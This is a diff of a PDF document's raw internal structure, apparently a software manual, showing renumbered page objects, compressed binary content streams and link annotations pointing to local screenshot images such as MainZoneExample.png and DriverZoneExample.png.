+>9p*PP<"eYc䎧s dFGgr4(! +endstream endobj 532 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 207.131491 557.809134 153.064635 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/WindowZoneExplanation2.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 531 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 533 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 297.637795 153.064635 297.637795 140.661435 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/WindowZoneExplanation2.png) ->> ->> -endobj -534 0 obj -<< /Filter /FlateDecode -/Length 2141 +/Length 2439 >> stream -x[K5ϯ?KE !3/a]vmwL6 efݮmDc%#:4qt({ 1Nq''Y7f c QL?~>y'X319Qi6oO߇*?:P͉I 2YԚM-2EoW3O:%݋:w^.|aZM5^<-M9i-&VQĴ#J%Ïnbǟ/_qmz~P~bs[f2EW{+)g]u?8\SAj$iJԲܯ'ӆAAGXe0?u8)w4.JDiqAx?S>ܗ3a _Ɓ~~e՘2hʺ3lGM6SlKsw0'`lH+ԖE&= -MJ+S5>DNF KcD(8&%2]2q5FjCC|tdi:c"؀&.8"d!Z!0i$%2_d -0׹4J3}&( aLvI'9/`'M#HYb_V6tUШmZDnA@0> -kEq`NmXёTX9fdl54_0gQ7[F4E#ǴqT_-񅕤cB* AJFΗrz-x@!./hd x'!]H8w:cc<6<|'uzFƂM*ixylK_hN>($To(0K,գй/C=rBuwJR,xMLp3vЄ2A_lk+C07XF9Ak4Ɂ})^Z!=?u"-xe -KFŠڪNH0>G0nk}_ -j+1"0`6GyLw5|$Flj* @ |h><>iC+TZh$n ^Ŷܸr\}v¯uaS׆6) wFmṗ:(@t g xO5?4J͂EnֽšzcYE6,ԩX!(Q$[N0jT )]e#.<׀es7\nGzzNN1H7L (>eU "ccL[ B„0>daAU{zE8$`Jm~|Kཞްj4hAyF`GciܶFnwgGӢpMcXO3{<&g߮\nbE6I"s$7KYF&e/!qat@pmo(;ުns/Wxw&}tQ5}oЫBeبPޢ{lRD80dSզegʈLP!66sj_S*2rRˮ-ZEĽ=DcBTUAδ(2W#Zn9ӓN.$\7,% -P -P׌`JcJ6|r] _n`S @5U -QIQ"Yp\/%oB`ʇ\nXk4KsJ_-#cVj޸N&+Or^v|^c`ZG_C9NTWYPJi;To,c3Bl{tN_^οtvR-"LBgns9Ͽog鉸?OEpC\?6>6y}vﺾ;snޕ>'Ot#2} }NCk{q,f̽h:˄Ic?nzucA9H:I? +ZEą_J8~]PLZx# %-f +v&ăy{VK^E*dt3[gR9̊ +bF UI': .6 MuQiθvUI75Q2[0=FIpPt(t[]q9tdc0̴HʏjfMm#s%F`D3-cdfrqRM8Vϊ(P0h MV*Ϗ |0ςJsP60p'rH0,," /h)IeXyMg_Tx7G 1 aWwP X1Y]7p{?Uq]YH/YfeZ) Fho|ribXk *JFJ;忳F)ˊ9Z[,9/Y*Ka`5Uk^aR&pdb:LP= z.ǣF=P8^XV +w)QkY Vʝ\umZ{M_zaҿ3t)MQv5E/FԒ^\5!aK4[.uMg)5rc#ҖWÖc6FW)^+R`l.x!$D;ߵݮF8rR +֦]&.xXkRMeM1=#fQXCR'7AQbQ 1,6C*Iљ z"gJ7\Ja0Ior0صLPS ri]d5Y%w3| + +ɍzٛA%3d)+IܿȩPGVJ& zjA5Y8$;Q]VFC .qZt_*.(mRIDk0P +VWf[sDr0k-7%3Y}Wh y@"5isejPï-C=\a&XGY8fC)x +k&(5Z+wC/crܹ^oV_PM1b,V`uHOׅNG%bM.c>OV) MwDl+ : -7i'EG7{r : +!*a:!%|0wJ~70Ö2l;l kڹZk6';/jbrTr 1"ڈ5[$Os zDF(nV[3c.&j-^>@w)j키lkEr^7'5;_>e'Bџj>nkzeXLg)o¯zFklt2, +ˁA^$$Gt¤^mQ<)].yo:S Գ4 +²(;<7#D:'CO9CO9ÆO9bC!O٦&{At7#2XMH*':7C]C^3HZY6!5ۼq4l3ǖ)XA4bH4̅49GLK5ynbIb+rL ,i& endstream endobj -535 0 obj +534 0 obj << /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 534 0 R +/Contents 533 0 R /Resources 4 0 R -/Annots [ 536 0 R 537 0 R 538 0 R 539 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj +535 0 obj +<< +/Filter /FlateDecode +/Length 4309 +>> +stream +x]I#W$`Aꚑ/=@Y\YdU8>dm*[ȒٕoJFuFBQ+?߯aq}uHkuW,arB%/Pj29Qi~ݍz?;,.~V5po?^XbD+"Vrk~rg)wF\Ⱥ1* f[Iea/_?Ƥc,o㘉kx z=>zijv7 ]u\qF>~ާkM׵o^>Ǯ9hY5JķU ſP26 "^ʊTNJgQ ##y|rOӼR*!1'h+S2HȊ'`b{ȲN{bPFfR3>CؘY-@Sfk$f$X`_e ,k[@y#)a2ܣjKV4%AQyKۣ=H#kn Ӎ7)#A,I-bd1 La aĐ%o#@l@-4$/x^2m " qs:D~`ŏ7KP6V"% +m]x|R{#F#z*[cR2Gjj4oixúoƬlA]jG!?cxqC^*碨=Ncus!3c +щ_*CVPk!3cq9XDio(ucFFM.ah-~ƴ;Ӓ<8+ +)5k:@S?:jS:5,Z + [6C<YR(P,PQ22Nܪ82tO9%ѕ&ncPBBtTc1V6f^5u2ٹÁ )~}kj3VIi,Qچ`~r<_hMK$JH:ܨ%\Y0Y$*[Gh#(`iJ7qFб~C|j1U ̛514.}>2 ώfAiRP ڬ;)MEXNaIh.E@iY7NI\_9m<NjQZ2G ;;X.&IsDFו&qP1#͝뢏\&ZZL6^~&v':-9ӃPZ;g4,TL]$<'\`*ًXaR/FY_yq=70om|X=£6_nWbk/M+T.=/thW腹)łGKsØݣ#:: +0`dWx3ƼߒQ *ƈa8ʘg":1Y`w SAѼKnAgiדR[^ -R^&|4TII@ksOLp ryw=+cgj{'! e'12ӕ2jm$Cq>+PuU&7B7]9u6qeTxB]/*I-m̩VЬ*Oòta[Z-b-(VIaDԕ|]=!ib|VV6Y\gI+2Kh.?e54R)c+V>?w/{bT_K8_)%B;vehi;B +%1\Í7b|`E*ϮI*>?oћN XF?xq┷kcK.׭ѡZS9uDUdMC^AQJ]!⁢W@]Nm/oEGmZ2pyt4BY'w07pQ@W`!ZmsqX^ +f)+[i:Z+KOy3G_Gho{=+Iб) +*4KBŮ>Ǵs!#ե,`5Vmp!+Ń3%Th!+ьQkՠt+6`"N!jjEe;ΒVu:Z+ f Uj¹h6` -Åj8+"9:&hA,$L08:CCk`D']f1%Dˣhxn{i14e>|T-T3ˊv-'fbRƞ Ӓ88*Ii BP5ϼzl3P1#P]OIyfǖYK\ѯ[Lfd)^^vmZ\t6M璂n3P@ 3L8?p? +>T:%`"ay\J0G%y.u.Vts F+ SG"yA03xtk?"d4.ܟ; |K&)N ;bۺDeb-LlAURu/: +G1יT1ƅ]f8rԫ&)֯z8Q CqJoS,TӧǛē +9W\0 `.әumj16ssK!pʺ< Y]b+ %^ۘҎ{.:|Ý~{ )zQUӿ́6s9_@qGKC+B)@ +ج$X@(ʵ Կp>f +E9^<,NܟԓxDPn׃j ppW['/lwϮ(\#EYB1C}=pu/G #=;%d32Ȭ\wSBKV8Gm|睏ip] J|Ch<'gҶOSFXZ4v&nW +,}4R:S”YV_*JOk^g]XDʴF:\zvpkB2iMktm.4؍} ؝vj2u 7>|REMhIA0!W&l2_u +:-qRԄE > -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/WindowZoneExplanation3.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 535 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 537 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 723.961912 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/WindowZoneExplanation3.png) ->> +/Filter /FlateDecode +/Length 4135 >> +stream +xɎ#9H 8!$1L2`\L. *ŌV_.wA1ǹ*̈`Gk77^^*M8c8)L5LMIn:x囿d$_8츹 P/?+}1s:]k4f|q}C3ӯ8nfx gpz@A89 xtL>s/3-B|wIBQr&|/~{P0eAx-1 &t ̿ BLTǙN!B^+!$TFN\w=kJB󸯚X~VF1Ninn6yY+oIΕq- 猖PB'N?┭>BkQ[S&0U"C|>hlB Jd]ʖbk!c ).dG,dnMW-КH+KUIWAa*´!abf/a&[*l!7b,+yp|,$j2~ÈYB oF$ߞ#{yL-h}̸A-n  }je6Sylg[H5e_hf9 +Eohg͜|;fR>&HC+} Įn+ + 3'sU)$,]Tv+}%Yp}xgN~B.\xŚf Un;֘dq%SܺGte}4z + Y`n &07x]$J15I)4o33s`Hzl8/n\.):cޅ)AQ,ɴd!iÝ2%%37/TY}!kr(/Mhʪfmd*/ RG?u^*w6hFT@6k-i %zm%6,ͭ@آ=j-%M`KKzH߾Q+fI%sfFlF@ prolGOqi*1ism)kXp9w>1[K)hr<>l,]"k鳯73sJ_-Wrk+Njӂ oh0}'N`CPX8͂qiΔqӨa +Li_cR%J׋LJT#pxvQ=DyoIR $i]T(ø?lV/%xΤ"b]{ +=gPۈ!wk.No?mlo;+.hUQB9!B7 +Ph(PY2w=P@ EHMx,JYQ ay`OǶl+vQqN=3F$Am(v "VM=.Ztq z3q[b@ &A pp}'qŴ8)m~y _z數NE+"(kDԒ$gY4-A56E_DZ&":-i/S&ڭC`@&I4,ZdJeKj Ipz&D0*/~ +QdΗR)HPwKB8@ x]DKГǔyc 'bJNT'vfa}R@ޱ3"ȵy v(Bkd +u2c>u&𚍈v4F {Ja챗SRqmKtuD dLSۻ(IMZGn + LyS6G{A#twVbM(t3 ++:=(aU!+Im-eÆ=vEza$CJDK>2C@KwrRB) +JHF:] *: S+^+_Uh3˞#tDΑR-dv7RGymޝ$0Y(}Iv.-Dxt`z (Vw ;c\MiHtFt0!S+Mhum ቂC VL`A]]Txf&>oIy6&?4ts%'$Ѓ $7[y}pSxv^*lw}1*e(<-JضgSۃ-ד2#MlYouC vPߢu[v +TܑnM>mHȹwH.a VP֡:G14(7Q$A}Vj_鵝y{fXvVw),zQLjHLr^s4YvNjsRsG"݃&LKmdV_r͝R;O t(ٺ46BZ[E7d#lXZ(&+5TƇ^s5 U DY&\s8tBDIvvs1tDts{ +^sIcUZ2<ʶ65yed4~_ mhu^Jƅvi,QN Yhh8M _UNܧc9mC + s$$xF7S;Ogbn}V#5]wNh}81c;pأa7*P(+F]|۾-CPpuށ + ҀK~ۼϿ˭E6ﲛe QBXFS,, +2}VzMm+R1`8FyiN@S]![Em*28b?c+i!jp9B :]sCΧ.)۳q}\xܲFye 6}'bΗs$9WA@]B/S̏,BZ@2ѩJ;ű0'9>A!HUD ١ p/hD6D}mDxvWd,^Nq'a4 "̆魯Zjg1pilgDwaݧ5d(T1,m6)htmפRp^f﬷D'@w^|A|h4΋D 4x/AXwݶ팈_EI".c6dZi8X!a4XP9`:O[D\δx\fS~ 2F`x.mVwqFA&`e.Ĺv YI$fU!sZKh?v.TNd&N8>Ƞ (>yKCw J+(Gyň>kFxCI͏GOgE{T⣏|16t?WRD5@=N*xo$|Fʾ|0''=>"jFG}/0 Y +endstream endobj 538 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 297.637795 723.961912 297.637795 711.558712 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/WindowZoneExplanation3.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 537 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 539 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 131.709112 37.466457 119.305912 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/WindowZoneExplanationDiagram.png) ->> ->> -endobj -540 0 obj -<< /Filter /FlateDecode -/Length 805 +/Length 4518 >> stream -xVKo1 ϯ 'jTP<$avS!/?yрPЦ$ɬ,Ы(W:ϖ%8FRJ0&Ϋ{{`p=| Y[9Pb -y|? g#Z07?I7[n+`ӘmJ4AP>̛bbq.L@oO}]ƍO蜬R# d^|/k3`Waш{6BFY}I$f;էK`9i|/~,/;Na4 -z&jM0ZU{@)[_]c+Y65tt - `C / j`kxfV6:7fpّqkMl;;̵Y7;gn/ZAZs!*"ȳi:y$u6Ʋv=tr={IIf?-ݹt'F/=u9fdw⽞Ä8 -D9~9E\K)ru'C,8A$}qû V+#])LgЙ䊌)Sr=ԄD[#\B[E$ iYkD[X_.sHNFn[C-G/)j=:_ٷRN9K׿(|޵%lr 8Q#Br* (1_ Vw.J',eപ {piW }X3sUszp^0On Gٿ ,( +x]ˮ#+i /"81`dqG8Rd?Xn]&),<4*VzȖgA"`BΜ/~?[AAO>Z9 C<{)tQ?O> ?K`et;9W/r_wzƮ=b&覿?əg=H?UYT"篅PAKZJ/3~zl+)Gn/ajԆqcwXظ6}Nmil:79w{UNAK\b?_/^xҺ$GnXZOcuoĠF:ث㬗˟N JLBJw2.>^E]yK5X)MNx1()4?+jV-Jh߽]B42 %_ :՚aH' -%:RD!)O+b,7&7:L GV+Ќ%>0d#iQFZgMҤrRGtXhɀ| 1_i3 IFo ΢D(F(7bv4id篯!h1*2NyPNuj>2GcT|].sa $el|)VKgE|Z/ӓ$Sh |nn,l<3H}6\$VFqrje W`D2@" vڛԮI!ɭ©$ʬ_CY5ԦxemShnBdY%$v@q +_%6/%4 4̒WFL҆ v:aڏ$̈Ǹ1džd'%\)<:IPnݔ&ȉG믚kUZhmnZKK L@iSE4 )Z^j +f+gx +kB&^M_PI]ƤN.!S~?O%ߘ#F{IU@nI=_:C7ZtW]U]u7OP6j I*ie`%*m>ūyV@@ T `X7rk`WkMAP.jC8,x<B 0; ԙcpXw'9H-cHEa)ZƂyy NSJKDV'V2 $lKByoura3x7N +u)LI&嚒xxipNƣN?:aC'Ǡ3h&˸9Ҝq8lBGچP :PdJ%{zq !Zw@f!Yu`0j cri/>|lPg +du Vސz x @S,_NW}XY6B)|ص:\L0\&t`nV!%!PbK,{#S&^ x9?jaC--jL6L9F5?X"+07n/oEK¦425[c]Y_]{ZSLͣ +ۙx@7$$[U^?η +3?`;KQv+JOS-InoAj[?2 ˔YWS9,QVȀ`oQ~~$_Wĭ^﷫MJu(eyg`7WJAhiڻ8vWy߿~*oiuyV{[ERELHa0 OY̲TMLV{eh{v-ߌpٶ , +bXo xE1 ) v^ʦJb1I"ƹګsX\yDkdăҬ J(S(H4Ϟdm sH8G7K4φ9qͤd˂:Ne&Ɩte۫ J7yBuwyGE9JR'̍ + +Y&/ _-]Anͯ.ܚBY&jƂwv+SlJsv]ЎC"iR)j(l>2_7_-0+4Y67綆wڶrQm5eAsKvӶ)JI,(x)V`bzHld6> ܙ{ ݖa~&h[:)C +Pvߪ<1غQmZ1 mpvYYP"3[r]< %sr%PJM"㝋=әGs; P(_.R`B1+3F8zĜHRpϔX-X+-ϗ[L q4ww*߰/ӽ.(ϒ$ 4l͉]#F*2I6Z3ⳉ _ +0wn +&u#¶*WP;l)QBGpte%%ւ=D,t\Pΰ 1J Kt +%mOٺ_Srj+f̰5k35xӻƕ \ʾރ=FBIcYxDc3WI.G2؞!4(*T[-͞NC%?o/8FB]Oac9lqF6n=i=8 VN4Qa3a qWʡH/{F/3d#sR h9.vJ,;Et,MfŊh5$8"`1'v8ǻ <`e{*Y etS+Ï{x;ns v y>v! [4l) ,ش^uBHgj~7p,gUT,i+Foz;6/_;@ g2,ωͲi&^Va_mU/YI@<榦: v̪qpw3ts lj򖹞ElڦSt|ʇkW-`Ȫ&+6Wll-V܈m_S)S)ScV0cJ,X?y6*mM [zj%}q[s#4"]ӫSlq8wNkq*>RDgx~]kVb[5̝ hMp CpTg98&/\^+emzD9vDK2 +`Ŗ>E.R0hb>-efvg7\z<ԥgXjfr0V,5%%…9WS_]N3 +=o`7q{U$A]KY[P1Ȣ/bTQZ%]Q}ePctR$:UrBeDm^&>v^tNͿKٲ?'eX/>lo"?NIr%kv>%L]y 5-2:PBtp\``)fzv6`㺷ge|51ۯ2_%_ߩzKsYsA5M5kMף{ul!2!᪲1˺̙ $SFecⰂ>bYS HcV7) Q9`XWELOM ?ӊoߞ^ sk佬U}X{JͲ +XbUZHwKy#Җ<38F-gN{{t:ՋʧSC, xXN0C9i)`Z'Kn\5vYJ-R҈gHjޕbwQ5V]u'TjKEKY*RQ`KEY +GO,vԺ!blqPnꭚ+ӽwrRTb4Jr 3,/ѭߪ⼷lst0' `88Ay7atuRTKmy+L5J$'M煵V̞]|,cQnW#̹CSIv]J gZj=XyN˷ÀgadJ &#WwA]exNy<> endobj +541 0 obj +<< +/Filter /FlateDecode +/Length 2520 +>> +stream +x[Yo$~_1 4 qIؐsèee7"lrԣo a::JI +o%3/oxޝ#Ax*68h`_~RZ 6PO.JO>FVѰΑI}:)bYa6#1ӧWOJ) ^g* i4NciMv?}W{1[8^~\#_uy96?\YZ1gl`4/q{.;`DExPWV˂N cω2tO2ap<ZvsA{jBM:@y¤Z~љȄo9*1LIi<2bT5d@isa]1lM;UQT"S*Tb VDđғ`.UABKwS: nf %4@|WPMɝG@@ 0?~n?ãMO-2Dbgw>2㦫Go&!N5;znBAkC =֚vj9n6_` +6P.#`ȍk;Z6[RHDdaa +2Y2*1"s! +y,<&^vʦz\K(&rfjgƵp^yG& `pa)񶆏g޺ιzJ^_$EP|JX K"Hzwn2^y0tQB`1Ofx%kW2SWQHX;Hc]r6ٹRBbJYF5du^W-'E}ׇL#Wp:EQAQE!qȰF?5!Oh%*HÔkxaw46F\ 9_̋y_IRRVAVɄJDB2 S+QmCuJl;ԥ +0vXxƠϭ엽aI,0uo@A@ R=ƻuq O,+3 Ʊ}x@ +6vhx PL)#H XQZACKwSy &i7lז(n:5@Ŵ{FU ݷ.2릲b$O'wtks<^k^ѤSIó8#j5%| x!fP ea39H h.Z\}jgjB5{|9T`k]&]C..Qx-8͝(j +w,j R-vE*\JdLG̬IKTzIXٱphP?UWHAu"EjnYA*R]=ų+ ~OeO·j?\7]庌nB6Xvz}ַEcOzeN AR7._72=K6hӕR^L JbaJvT5=%ˉ6\celNBB|!6pg;xo +|XZLLJԤleVɉÎr.; MIAڣv﫚!":M'k?z˲:7oLMz)\R>w,j3*Ԧm0vYAKڠ9cUxP u}SP]ij8kM,"E͡so +&YX+۾hSiPGN B kܜ +~^rɃ*X48>>4X&@Ӹ)(1& +]NXieO M7ν`mJpزy+|\Oya\/C8v+$85ҼZ),G{@ ht(~"bJz@j5ß7錄wZC9#!=?>Sz2 bQ:uFX2fc9rXzNzz~=H́@E}zEyoJokA1!q5#䏮QA8$NF75dJXG4&8mKpl1!B둮^L>!] 4=K[Ǎ5eh^.XzǑ)p_Q,ŀbu71xLd6Q GVN Q:ŶVVtqqI IP^w29.Dj&haD7ܨfbŒ[*9 {m\ޗ bwhQHŠX8oY{vjGՈn۷/}^7M['[@ÔXCڻ8]ls#SΤa6ٮdwpi<F@R10Cn,K?0*7*no:՞;mJރ84xL t!.x~|*O:\39N1ˈRykD +endstream +endobj 542 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 166.745071 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/WindowZoneExplanationDiagram.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 541 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 543 0 obj << +/Filter /FlateDecode +/Length 1913 +>> +stream +xZm$5>}EENANVN?N~8Vҩt;[ApٗtRO=U3bB}pVJ+xPntHgGapBTxQh .w?ywRFM\!$F}(^dHk7z8R8<<9||a5ZP`@*c%_ "Ƙs+B3X1x=oԲ.OmG=-u噸F,r}k94I.^;֞<^e{\OgvκjmjO\L<Ӓ+v&GB!d0:H@R`\SF$)5f^jx&&=/k/ms. mGι֛}oܑO'ϡ>esM2@ʌuyu+f00jgP.̇Q/^,b$D+O}[\5}ŠQACbF\Q2whzSHKg +>~J) +Y I({:yD10[?ѹkMP .R{J +endstream +endobj +544 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 543 0 R +/Resources 4 0 R +/Annots [ 545 0 R 546 0 R 547 0 R 548 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +545 0 obj +<< /Type /Annot /Subtype /Link -/Rect [ 297.637795 166.745071 297.637795 154.341871 ] +/Rect [ 39.386457 579.965382 39.386457 564.950982 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Figma/WindowZoneExplanationDiagram.png) +/URI (./Images/Screens/MainZoneExample.png) >> >> endobj -544 0 obj -<< -/Filter /FlateDecode -/Length 2513 ->> -stream -xۮ8񽿢4:HX N ./QNra1'iǗ\oY}\~HጤG~.5h -Q(..pR:J z{5~~ ˃ʟ4u dDf:~r/x)mDRS7!i޸;oHmt8>4֧C b8oZ'~87a9?0.x-jHA@865.N Nп@=` ؄{43d,NUF9s=ip4gD%\gqb.}OqrЧ$cGVy'nA75, X[0i1‚YA9SV|I2Mz3 r*rVc ǭ&N$fsDd\ؙ NvQ̬e cTu:Y֌V</[o}Tc>VD׆ܙ1&~Fą 4Y2+f ul]3`S-qGZqnY-C5*M6 -,2KR: :q̌vrXD dce&Ҙ[r0939 Ou[ ƀb͟;>5iH MUZȭAU ̢ Bâyš-'غM -}lmmzx6z̡wBPԄv}]l8kqph)RZARTfⱎ񄹖4H -4(}?_ D":Af%sQF3X{ -*”21l̦]-=Ŕ~ -mN1=)U3k[d! ,4+X;ܭ x`5~9_H[ueSXD%{ =P!w3 !'$: r+eāZ>kiwN++HT Ȁ -;*l7ڨxmmG神`}{Z[Ȁ(m܄r2R,nbZ9k}-M^#FMA PLg={YQЪ(Ph=,* -U"pF(FSڡBXbPm|{]Qt`R\J֑}+€6Ʌo#JI AmXA~QU6UXB@A_\4(vVݪ#젃Wǚy1|#|nYTHIu{> -endobj 546 0 obj << -/Filter /FlateDecode -/Length 2399 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 579.965382 555.889134 374.334001 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/MainZoneExample.png) +>> >> -stream -xZKܸ⛀1 NryAݚE;n?""5<Y,V}`B,ˏ)gt_*h B\< A5ZKr?G->@)a!` XO?\>\A]Ѷn<9R 8)ƑrQhm4篗O HKG| -^FJ]8_d*}wov%:^K>D^OuҘ)ig|e| -o8v6ڵeOLrߖ}'ҹWl6+O4dL2vNP|蛗Aͩ߁y5 5lI4f8!a Zt؏E[˴_2 .q}kLez'aI4'R$t&rp9kI|h^|o4{dp@Ək))TD+;9,:84C'snc #]&ٞUkr;wM5mr΄l:R)͖K%8ݵ"c*b;[ES?ۚ}@;_ Azy?{&1zi0Ng:Y33וtu""kV2cxf5PY)&i!Pμ#6Û~0{h[!C";I?yfKWyٻgB΍u= -sccWZWO@Y8Wk+-,"wu5z]69 34>;1`"nٹtb&W -' ψ(.w#TzT>|GSUPv5X#:Г!(*r»呤wo@ 2L5cJ'!m:&Mim^~q&3y|̤dT0xyA%nMt&blnrkY&3:.^+hAX#Z7r_Uy՚k_"a88wWc녻H!F78k<2cmQ:[j3[38hArtjpr5cӜĈZ{`U yq֓21 z֋~/3,H4 -,vYS}6=vW69;%|tދJIӮZ"9Yبe^ʮ (cEʹ2XӨtzĪFP36bp:l;>Xy[2}tlmY,_TcOwͲ0{)Kg_1)wl@ͩ>on񈔐R{S?J^.%0CZTl;]yqU~y{n4皐)ӚĿxi4duT Qk[#T}mKӺ -d~KCϨs!e ]HoVT~܃Wv a<@ -ݠ=tɃ9gLR&R;xOdW7* 8S(V 1w:l.ER*SסdWٕ=cᬸ&^?W{ccO3KCybc4t,KHoxH9Il3 0<>(NQ(<и눥}43M.u|@$r$vO('`Z6?B?<E+{6)([ 㾫Z8 BSg" -% -.|%܊"ຍ{[0M5JH\b*@LSy6E”'j5?&mhN^ -endstream endobj 547 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 546 0 R -/Resources 4 0 R -/Annots [ 548 0 R 549 0 R 550 0 R 551 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 374.334001 297.637795 359.319601 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/MainZoneExample.png) +>> >> endobj 548 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 530.672862 37.466457 518.269662 ] +/Rect [ 39.386457 92.063281 39.386457 77.048881 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/AutoCalibration1.png) +/URI (./Images/Screens/DriverZoneExample.png) >> >> endobj 549 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 530.672862 557.809134 317.523832 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/AutoCalibration1.png) ->> +/Filter /FlateDecode +/Length 4154 >> +stream +x]_o$ /PE=m\҇6@HZ\Riͮ9#y9÷Q(GҊ?kׇ/9_cGsHgOA3gBpRh;~ϻywBJfD;)W}xBc#+{f]"*8s5\=SnKzx9s}97O $@=˟uk٠d%‡ H5^A{s>w0w8\ILL%i6M܏j!{$?ZǤJb1孔S)m@c_L` L +\ .ūt&g\ 7?w4i=Wqۈ_gJ$e z€ILăn4Yp]7[&w]x7>& 0`Z TtIҙaVll Hۏ_=;-6i;[ +,}]8?WtfJ2}_# =2ՠXrL`Z҇naM`s' |G0d! 滿m3`lG9wq" rcqNFO-Bn2_0gBk*NJwuS5a0cBIu3mᆻi@ i2X )(,+8cNxkRhu֊{qku S5wuJ NB1`I. o5,^Vze/KAoߖ-ޭ)lNuǢt <鲚9.-x2">U'N愎 HЖ<裵*%)._|͌4D_Ce_SbnJŅ79y3Y1]'^/t_%rwy7r~PąG:6kY `mmf'1KɪމqvpM\ +b9r> a,MeWDFO2tsWGuԄ2d߾EX4i]2ńT Bˋ&RVf ɦK_G刢s+̙l6j~أN!-^K2WS%]p\Jm,z4{k' kдqx15 c#mr4zנJÂN7T.c1UVVzqtl:f'7~ۻM:u:]9\;Pq\s^w/kBu:--dAc!}ʖQخ בJtOXN#|lۨ }&JnljTŪ{ln.e(Fh1D5N й(V -o++BհUꏵ P. Oá<9 Ldyf!8ǧ= ˀ18yz)c ,Ҍ3Q:#4z(@‡:ZEtonϘWW](+S2{03#cɣIدQX95$u/^'[:5sޭΜ 8f!JyD7ZΎt1Ӻv6>\MyVMmi=]lqD:x"=U^_VhvdF.cTY,}E3U(Kӧ(NcS 6 4Rd6=`VdsdǬ"\j˓YP|%5$usW1b?XPZׄĄ2[s`Z<%Ab0YiY4YJLV湈'_E%Tgټι}fG^)vE-9sAd1HRq䥶+&CwjKhZ= + n"Kʚ m<5m|4_3}VO'&4 cPѷA.=-ǫbP]+hC{^ R7uuI vPٖ}F]ҔBE4[vrb3W \njݝYI_3.N5~NqFBy=o0[unG2@4ojU,ۨ,Զ +j_EA.IE 4Z0-Mkvb +ѩh+#Cܔ-2s[߬ 'T蛰+0T;H;Z$1 +drfo%FFi|@X3\1a3,Pi1/\6sdKn x`f_ZPo^"230?穧"3fK0c8JܖB])"Ku]]+Z6LYzFhȆ+ΣM`']A#k%4ܵ^=Hkڢ_}Ȕ1~wfՕ]}Ǽ\@?W(jӜ9=5J_0;- +6 =} "e}.dEu9&:B5s@N9}ImZ LHi KHPb_֢$U~dgB37&[C{dx7KG=Ķ%Bèlk~jۃgWC3BcqNDl^F`I"K^{4Q[AGfPoIb{m~D{qJg6z'J֩m >5|;u6iKZ|#̮st\0DDF%i_u3{5 $|:CTj۝ވHoBSsHDzr}bOέ||uZRnh!(zM+U6`tPa:ZGCY𘰦:M K@8ŷΘ[`Ran&_i: 0^DzE_9JaǑ=+ewmd@8JמP X%[(B֍ SeToN.(9h׆} Z0Ԟ +󌁧գ{,CA aaS (73 +bh|o/jJ&UWunYA! z/أ +yB/QzczP42w֯%rG&_:վPU/Q}s5zYi0'z 4D?~7?}#IEV3wP,k;T. Ut]`?WS"go "{`4 +:!y~?Dm <>8uѩYW2O5 +endstream endobj 550 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 297.637795 317.523832 297.637795 305.120632 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/AutoCalibration1.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 549 0 R +/Resources 4 0 R +/Annots [ 551 0 R 552 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 551 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 146.979832 37.466457 134.576632 ] +/Rect [ 39.386457 771.023622 555.889134 763.306094 ] /BS << /W 0 >> /A << /Type /Action /S /URI 